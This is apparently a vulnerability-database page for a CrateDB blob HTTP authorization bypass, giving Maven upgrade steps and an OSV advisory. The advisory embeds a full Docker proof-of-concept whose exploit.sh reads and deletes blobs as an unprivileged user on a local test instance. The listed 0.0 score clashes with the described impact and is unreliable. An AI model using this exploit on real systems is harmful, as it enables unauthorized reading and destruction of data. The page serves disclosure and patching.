CVE-2026-49989: Crate CrateDB's Blob HTTP Handler Bypasses Vulnerability
LOWCVE-2026-49989 is a LOW (CVSS 0.0) cratedb's blob http handler bypasses vulnerability (CWE-863: Incorrect Authorization) affecting Crate libraries in the Maven ecosystem. The issue involves cratedb's blob http handler bypasses authorization. Remediation is available by upgrading affected packages to version 6.2.8, 6.3.2.
CVE-2026-49989 at a Glance
Security Impact
CVSS: 0.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N).
How to Fix CVE-2026-49989
To remediate this vulnerability, upgrade all affected Crate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>io.crate</groupId>
<artifactId>crate</artifactId>
<version>6.2.8</version>
</dependency>
<dependency>
<groupId>io.crate</groupId>
<artifactId>crate</artifactId>
<version>6.3.2</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.crate
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-49989, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.crate
Analyze the terminal output to locate any version of Crate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.2.8), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.crate command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Crate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-49989 Affected Crate Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.crate:crate
|
Maven |
< 6.2.8
|
6.2.8
|
|
io.crate:crate
|
Maven |
≥ 6.3.0
< 6.3.2
|
6.3.2
|
References
Frequently Asked Questions
What is CVE-2026-49989?
Which Crate versions are affected?
What version fixes CVE-2026-49989?
Is crate affected?
What is the CVSS score of CVE-2026-49989?
What CWE is associated with CVE-2026-49989?
How can I check Maven dependencies for CVE-2026-49989?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2xv8-gjwh-fv8p",
"modified" : "2026-07-01T19:55:07Z",
"published" : "2026-07-01T19:55:07Z",
"aliases" : [ "CVE-2026-49989" ],
"summary" : "CrateDB's Blob HTTP handler bypasses authorization",
"details" : "**Component:** `io.crate.protocols.http.HttpBlobHandler`\n**Affected:** verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)\n**Impact:** any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of `GRANT`s.\n\n---\n\n## Summary\n\nCrateDB has two ways to access blob storage: SQL (`SELECT ... FROM blob.<table>` and friends) and the blob HTTP API (`GET|PUT|DELETE /_blobs/{table}/{digest}`). The SQL path goes through `AccessControl`, which is what enforces privilege grants; that's why `SELECT digest FROM blob.secret_blobs` fails for a user who has no grants on the table.\n\nThe HTTP path authenticates the request but never asks `AccessControl` whether the authenticated user is allowed to touch the table. So a user with no grants gets `MissingPrivilegeException` from SQL and `200 OK` plus the blob bytes from `GET /_blobs/secret_blobs/<digest>`.\n\n## Where it lives\n\n`server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java`. The dispatcher:\n\n```java\n// HttpBlobHandler.java:176\nprivate void handleBlobRequest(@Nullable HttpContent content) throws IOException {\n if (possibleRedirect(index, digest)) {\n return;\n }\n\n if (method.equals(HttpMethod.GET)) {\n get(index, digest);\n reset();\n } else if (method.equals(HttpMethod.HEAD)) {\n head(index, digest);\n } else if (method.equals(HttpMethod.PUT)) {\n put(content, index, digest);\n } else if (method.equals(HttpMethod.DELETE)) {\n delete(index, digest);\n } else {\n simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);\n }\n}\n```\n\nNo `AccessControl` reference, no privilege check. Each branch goes straight to the relevant blob op (`get`/`head`/`put`/`delete`); for example:\n\n```java\n// HttpBlobHandler.java:287\nprivate void get(String index, final String digest) throws IOException {\n if (range != null) {\n partialContentResponse(index, digest);\n } else {\n fullContentResponse(index, digest);\n }\n}\n```\n\n`grep -n 'AccessControl\\|ensureMaySee\\|checkPermission' HttpBlobHandler.java` returns nothing.\n\nThe APIs that should be called here, used by the SQL path before every statement is dispatched:\n\n- `server/src/main/java/io/crate/auth/AccessControl.java` (interface, declares `ensureMayExecute(...)` and `ensureMaySee(...)`)\n- `server/src/main/java/io/crate/auth/AccessControlImpl.java:133` (concrete impl)\n\n## Threat model\n\nUnconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. `HEAD /_blobs/<table>/<digest>` is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.\n\n| Capability | Needs digest? | Impact |\n|---|---|---|\n| Read or delete a blob | yes | High when digests leak, nil otherwise |\n| Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |\n\nDigest secrecy is not a documented security boundary.\n\n## Reproduction\n\nEnd-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.\n\n`./run.sh` brings up a CrateDB container with HBA enabled, creates an `admin` (with `ALL PRIVILEGES`) and an `unprivileged` user (with no grants), uploads a blob as admin, then runs six steps:\n\n1. Admin uploads a blob via `PUT /_blobs/...`. Success (201).\n2. Admin reads via SQL. Success.\n3. **Unprivileged user reads via SQL.** Denied (correct, this is what we want).\n4. **Unprivileged user reads via `GET /_blobs/...`.** `200 OK` plus the blob payload (the bug).\n5. **Unprivileged user deletes via `DELETE /_blobs/...`.** `204 No Content` (the bug, again).\n6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.\n\nSample output from a real run:\n\n```\n=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===\n[PASS] Unprivileged user correctly denied SQL access\n[INFO] Server response: ERROR: Schema 'blob' unknown ...\n\n=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===\n[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS\n[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin\n\n=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===\n[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS\n```\n\n### PoC files\n\n<details>\n<summary><code>docker-compose.yml</code></summary>\n\n```yaml\nservices:\n cratedb:\n image: crate:6.2.7\n ports:\n - \"4200:4200\"\n - \"5432:5432\"\n command: >\n crate\n -Cnetwork.host=0.0.0.0\n -Cdiscovery.type=single-node\n -Cauth.host_based.enabled=true\n -Cauth.host_based.config.0.user=crate\n -Cauth.host_based.config.0.method=trust\n -Cauth.host_based.config.99.method=password\n -Cblobs.path=/data/blobs\n environment:\n - CRATE_HEAP_SIZE=512m\n healthcheck:\n test: [\"CMD-SHELL\", \"curl -sf http://localhost:4200/ || exit 1\"]\n interval: 5s\n timeout: 5s\n retries: 12\n```\n\nHBA rule 0 trusts the built-in `crate` superuser so `setup.sql` can bootstrap users; rule 99 forces password auth for everyone else. `network.host=0.0.0.0` overrides the default `_site_` bind, which fails when Docker's interfaces have no site-local address.\n\n</details>\n\n<details>\n<summary><code>setup.sql</code></summary>\n\n```sql\n-- Create the blob table\nCREATE BLOB TABLE secret_blobs;\n\n-- Create admin user with full access\nCREATE USER admin WITH (password = 'adminpass');\nGRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;\n\n-- Create unprivileged user with NO access to the blob table\nCREATE USER unprivileged WITH (password = 'unpriv123');\n-- Intentionally no GRANT for unprivileged user\n```\n\n</details>\n\n<details>\n<summary><code>exploit.sh</code></summary>\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCRATE_HTTP=\"http://localhost:4200\"\nBLOB_TABLE=\"secret_blobs\"\nBLOB_CONTENT=\"TOP SECRET: this data should only be accessible to admin\"\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nCYAN='\\033[0;36m'\nNC='\\033[0m'\n\nheader() { printf \"\\n${CYAN}=== %s ===${NC}\\n\" \"$1\"; }\npass() { printf \"${GREEN}[PASS]${NC} %s\\n\" \"$1\"; }\nfail() { printf \"${RED}[FAIL]${NC} %s\\n\" \"$1\"; }\ninfo() { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\nsql_as() {\n local user=\"$1\" pass=\"$2\" query=\"$3\"\n PGPASSWORD=\"$pass\" psql -h localhost -p 5432 -U \"$user\" -d doc -tAc \"$query\" 2>&1\n}\n\n# ---------------------------------------------------------------------------\nheader \"Step 1: Upload a blob as admin via HTTP\"\n# ---------------------------------------------------------------------------\nDIGEST=$(echo -n \"$BLOB_CONTENT\" | sha1sum | awk '{print $1}')\ninfo \"Blob SHA1 digest: $DIGEST\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -u admin:adminpass \\\n -XPUT \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\" \\\n -d \"$BLOB_CONTENT\")\n\nif [[ \"$HTTP_CODE\" == \"201\" || \"$HTTP_CODE\" == \"409\" ]]; then\n pass \"Admin uploaded blob via HTTP (HTTP $HTTP_CODE)\"\nelse\n fail \"Admin blob upload returned HTTP $HTTP_CODE\"\n exit 1\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 2: Admin CAN read blob metadata via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT digest FROM blob.secret_blobs LIMIT 1\")\nif [[ -n \"$RESULT\" ]]; then\n pass \"Admin can query blob.secret_blobs via SQL: digest=$RESULT\"\nelse\n fail \"Admin SQL query returned no results\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 3: Unprivileged user CANNOT read via SQL (expected)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as unprivileged unpriv123 \"SELECT digest FROM blob.secret_blobs LIMIT 1\" || true)\nif echo \"$RESULT\" | grep -qi \"denied\\|permission\\|unauthorized\\|not authorized\"; then\n pass \"Unprivileged user correctly denied SQL access\"\n info \"Server response: $(echo \"$RESULT\" | head -1)\"\nelse\n fail \"Unprivileged user was NOT denied SQL access (unexpected): $RESULT\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 4: BUG -- Unprivileged user CAN read blob via HTTP\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /tmp/blob_out -w \"%{http_code}\" \\\n -u unprivileged:unpriv123 \\\n \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nBODY=$(cat /tmp/blob_out)\n\nif [[ \"$HTTP_CODE\" == \"200\" ]]; then\n fail \"Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\n info \"Retrieved content: ${BODY}\"\nelse\n pass \"Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE\"\n# ---------------------------------------------------------------------------\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -u unprivileged:unpriv123 \\\n -XDELETE \"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}\")\n\nif [[ \"$HTTP_CODE\" == \"204\" || \"$HTTP_CODE\" == \"200\" ]]; then\n fail \"Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS\"\nelse\n pass \"Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)\"\nfi\n\n# ---------------------------------------------------------------------------\nheader \"Step 6: Confirm blob is gone (admin perspective)\"\n# ---------------------------------------------------------------------------\nRESULT=$(sql_as admin adminpass \"SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'\")\nif [[ \"$RESULT\" == \"0\" ]]; then\n fail \"Blob confirmed deleted -- unprivileged user destroyed admin's data\"\nelse\n info \"Blob still exists (count=$RESULT)\"\nfi\n```\n\n</details>\n\n<details>\n<summary><code>run.sh</code></summary>\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\ncd \"$(dirname \"$0\")\"\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nNC='\\033[0m'\n\ninfo() { printf \"${YELLOW}[INFO]${NC} %s\\n\" \"$1\"; }\n\n# Pick whichever Compose CLI is available (docker compose v2 vs legacy\n# docker-compose binary). Both are common in the wild.\nif docker compose version >/dev/null 2>&1; then\n DC=(docker compose)\nelif command -v docker-compose >/dev/null 2>&1; then\n DC=(docker-compose)\nelse\n echo \"ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed.\" >&2\n exit 2\nfi\n\ncleanup() {\n info \"Stopping containers...\"\n \"${DC[@]}\" down -v 2>/dev/null || true\n}\ntrap cleanup EXIT\n\ninfo \"Starting CrateDB with authentication enabled...\"\n\"${DC[@]}\" up -d\n\ninfo \"Waiting for CrateDB to become healthy...\"\nfor i in $(seq 1 60); do\n if curl -sf http://localhost:4200/ > /dev/null 2>&1; then\n break\n fi\n sleep 1\ndone\n\n# Verify CrateDB is actually ready for SQL connections\nfor i in $(seq 1 30); do\n if PGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -c \"SELECT 1\" > /dev/null 2>&1; then\n break\n fi\n sleep 1\ndone\n\ninfo \"Running setup SQL as superuser (crate)...\"\nPGPASSWORD=\"\" psql -h localhost -p 5432 -U crate -d doc -f setup.sql\n\n# Give CrateDB a moment to propagate user/privilege changes\nsleep 2\n\ninfo \"Running exploit...\"\necho \"\"\nbash exploit.sh\n```\n\n</details>\n\n## Fixing\n\nPlumb `AccessControl` into `HttpBlobHandler`. Before dispatching the verb at `handleBlobRequest:181`, resolve the connecting role from the channel attribute the auth filter already sets, build an `AccessControlImpl`, and call `ensureHasPrivilege(...)` for the verb. Failures produce `MissingPrivilegeException`, which the existing exception-to-HTTP mapping turns into `403 Forbidden`. SQL and HTTP then share one authorization decision.\n\n| HTTP verb | SQL equivalent | Required privilege on `blob.<table>` |\n|---|---|---|\n| `GET` / `HEAD` | `SELECT` | `DQL` |\n| `PUT` | `INSERT` / `UPDATE` | `DML` |\n| `DELETE` | `DELETE` | `DML` |\n\nAlternatives I'd avoid: pushing checks down into `BlobService` (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).\n\n## Notes\n\nDeployments that don't use `BLOB TABLE` are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.crate:crate"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.2.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "io.crate:crate"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "6.3.0"
}, {
"fixed" : "6.3.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/crate/crate/security/advisories/GHSA-2xv8-gjwh-fv8p"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/crate/crate"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-01T19:55:07Z",
"nvd_published_at" : null
}
}